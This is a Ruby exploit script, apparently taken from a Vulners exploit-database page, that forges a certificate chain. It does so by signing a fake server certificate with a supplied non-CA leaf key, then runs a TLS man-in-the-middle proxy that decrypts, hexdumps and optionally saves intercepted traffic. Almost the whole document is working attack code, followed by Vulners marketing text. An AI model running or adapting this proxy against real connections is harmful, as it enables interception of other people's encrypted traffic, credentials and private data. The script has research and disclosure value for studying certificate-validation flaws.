#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.
require 'openssl'
require 'optparse'
require 'socket'
Version = [0, 0, 1]
Release = nil
class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)
0.upto(15) do |j|
stream.printf(' ') if j == 8
if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end
stream.printf(' ')
0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end
stream.printf("\n")
end
end
end
options = {}
OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert"
parser.separator('')
parser.separator('Options:')
parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end
parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end
parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end
parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end
parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end
parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end
parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end
parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase|
options[:pass_phrase] = pass_phrase
end
parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject|
options[:subject] = subject
end
parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!
local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false
cacert = ARGV[1] or fail ArgumentError, 'no cacert given'
key = ARGV[2] or fail ArgumentError, 'no key given'
pass_phrase = options[:pass_phrase] || nil
cert = ARGV[3] or fail ArgumentError, 'no cert given'
subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)
leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))
fake_name = OpenSSL::X509::Name.parse(subject)
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key
tcp_server = TCPServer.new(local_host, local_port)
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose
loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose
context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE
tcp_socket = TCPSocket.new(host, port)
server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
server.connect
puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose
loop do
readable, = IO.select([client, server])
readable.each do |r|
data = r.readpartial(4096)
data.hexdump($stderr) if debug
puts '%d bytes received' % [data.bytesize] if debug || verbose
if file
file.write(data)
file.flush
file.fsync
end
case r
when client
count = server.write(data)
server.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
when server
count = client.write(data)
client.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end
client.close
server.close
end
end
proxy.closeData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation